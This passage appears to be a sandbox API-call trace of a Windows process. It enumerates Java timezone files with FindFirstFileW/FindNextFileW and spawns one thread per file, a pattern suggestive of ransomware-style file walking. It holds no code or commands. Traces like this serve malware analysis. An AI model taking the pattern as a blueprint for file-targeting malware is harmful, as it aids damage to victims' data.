(x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0153.752] wcscat (in: _Dest=0x42061430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0153.752] wcscat (in: _Dest=0x42061430, _Source="Casey" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" [0158.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42061430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8 [0158.282] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Davis", cAlternateFileName="")) returned 1 [0158.282] wcscmp (_String1="Davis", _String2=".") returned 1 [0158.282] wcscmp (_String1="Davis", _String2="..") returned 1 [0158.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cf5f400 [0158.282] wcscpy (in: _Dest=0x1cf5f400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.282] wcscat (in: _Dest=0x1cf5f400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.282] wcscat (in: _Dest=0x1cf5f400, _Source="Davis" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" [0158.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e2c [0158.284] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="DumontDUrville", cAlternateFileName="DUMONT~1")) returned 1 [0158.284] wcscmp (_String1="DumontDUrville", _String2=".") returned 1 [0158.284] wcscmp (_String1="DumontDUrville", _String2="..") returned 1 [0158.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ceb6f10 [0158.284] wcscpy (in: _Dest=0x1ceb6f10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.284] wcscat (in: _Dest=0x1ceb6f10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.284] wcscat (in: _Dest=0x1ceb6f10, _Source="DumontDUrville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" [0158.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb6f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608 [0158.285] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macquarie", cAlternateFileName="MACQUA~1")) returned 1 [0158.285] wcscmp (_String1="Macquarie", _String2=".") returned 1 [0158.285] wcscmp (_String1="Macquarie", _String2="..") returned 1 [0158.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb6fa0 [0158.285] wcscpy (in: _Dest=0x1ceb6fa0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.285] wcscat (in: _Dest=0x1ceb6fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.285] wcscat (in: _Dest=0x1ceb6fa0, _Source="Macquarie" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" [0158.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb6fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0158.286] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mawson", cAlternateFileName="")) returned 1 [0158.286] wcscmp (_String1="Mawson", _String2=".") returned 1 [0158.286] wcscmp (_String1="Mawson", _String2="..") returned 1 [0158.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cf5f480 [0158.287] wcscpy (in: _Dest=0x1cf5f480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.287] wcscat (in: _Dest=0x1cf5f480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.287] wcscat (in: _Dest=0x1cf5f480, _Source="Mawson" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson" [0158.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c [0158.288] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="McMurdo", cAlternateFileName="")) returned 1 [0158.288] wcscmp (_String1="McMurdo", _String2=".") returned 1 [0158.288] wcscmp (_String1="McMurdo", _String2="..") returned 1 [0158.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cf5f500 [0158.288] wcscpy (in: _Dest=0x1cf5f500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.288] wcscat (in: _Dest=0x1cf5f500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.288] wcscat (in: _Dest=0x1cf5f500, _Source="McMurdo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" [0158.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1254 [0158.289] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palmer", cAlternateFileName="")) returned 1 [0158.289] wcscmp (_String1="Palmer", _String2=".") returned 1 [0158.289] wcscmp (_String1="Palmer", _String2="..") returned 1 [0158.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b864d60 [0158.289] wcscpy (in: _Dest=0x1b864d60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.289] wcscat (in: _Dest=0x1b864d60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.289] wcscat (in: _Dest=0x1b864d60, _Source="Palmer" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" [0158.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0158.290] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rothera", cAlternateFileName="")) returned 1 [0158.290] wcscmp (_String1="Rothera", _String2=".") returned 1 [0158.290] wcscmp (_String1="Rothera", _String2="..") returned 1 [0158.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b864de0 [0158.290] wcscpy (in: _Dest=0x1b864de0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.290] wcscat (in: _Dest=0x1b864de0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.290] wcscat (in: _Dest=0x1b864de0, _Source="Rothera" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" [0158.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0158.291] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Syowa", cAlternateFileName="")) returned 1 [0158.292] wcscmp (_String1="Syowa", _String2=".") returned 1 [0158.292] wcscmp (_String1="Syowa", _String2="..") returned 1 [0158.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b864e60 [0158.292] wcscpy (in: _Dest=0x1b864e60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.292] wcscat (in: _Dest=0x1b864e60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.292] wcscat (in: _Dest=0x1b864e60, _Source="Syowa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" [0158.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0158.293] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 1 [0158.293] wcscmp (_String1="Vostok", _String2=".") returned 1 [0158.293] wcscmp (_String1="Vostok", _String2="..") returned 1 [0158.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b864ee0 [0158.294] wcscpy (in: _Dest=0x1b864ee0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0158.294] wcscat (in: _Dest=0x1b864ee0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0158.294] wcscat (in: _Dest=0x1b864ee0, _Source="Vostok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok" [0158.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0158.297] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 0 [0158.297] FindClose (in: hFindFile=0x1cd86670 | out: hFindFile=0x1cd86670) returned 1 [0158.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0158.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0158.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 Thread: id = 2442 os_tid = 0x1e9c [0153.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1ced8ad0 [0153.495] wcscpy (in: _Dest=0x1ced8ad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0153.495] wcscat (in: _Dest=0x1ced8ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0153.495] wcscat (in: _Dest=0x1ced8ad0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*" [0153.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62a20 [0153.495] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0153.497] wcscmp (_String1=".", _String2=".") returned 0 [0153.497] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.498] wcscmp (_String1="..", _String2=".") returned 1 [0153.498] wcscmp (_String1="..", _String2="..") returned 0 [0153.498] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aden", cAlternateFileName="")) returned 1 [0153.498] wcscmp (_String1="Aden", _String2=".") returned 1 [0153.498] wcscmp (_String1="Aden", _String2="..") returned 1 [0153.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9080 [0153.499] wcscpy (in: _Dest=0x1ced9080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0153.499] wcscat (in: _Dest=0x1ced9080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0153.499] wcscat (in: _Dest=0x1ced9080, _Source="Aden" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden" [0158.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0158.604] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Almaty", cAlternateFileName="")) returned 1 [0158.604] wcscmp (_String1="Almaty", _String2=".") returned 1 [0158.604] wcscmp (_String1="Almaty", _String2="..") returned 1 [0158.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x17f0d0 [0158.605] wcscpy (in: _Dest=0x17f0d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.605] wcscat (in: _Dest=0x17f0d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.605] wcscat (in: _Dest=0x17f0d0, _Source="Almaty" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty" [0158.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x17f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0158.606] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amman", cAlternateFileName="")) returned 1 [0158.606] wcscmp (_String1="Amman", _String2=".") returned 1 [0158.606] wcscmp (_String1="Amman", _String2="..") returned 1 [0158.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86f050 [0158.607] wcscpy (in: _Dest=0x1b86f050, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.607] wcscat (in: _Dest=0x1b86f050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.607] wcscat (in: _Dest=0x1b86f050, _Source="Amman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman" [0158.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86f050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0158.607] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anadyr", cAlternateFileName="")) returned 1 [0158.607] wcscmp (_String1="Anadyr", _String2=".") returned 1 [0158.608] wcscmp (_String1="Anadyr", _String2="..") returned 1 [0158.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e410 [0158.608] wcscpy (in: _Dest=0x1b86e410, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.608] wcscat (in: _Dest=0x1b86e410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.608] wcscat (in: _Dest=0x1b86e410, _Source="Anadyr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr" [0158.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c [0158.609] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 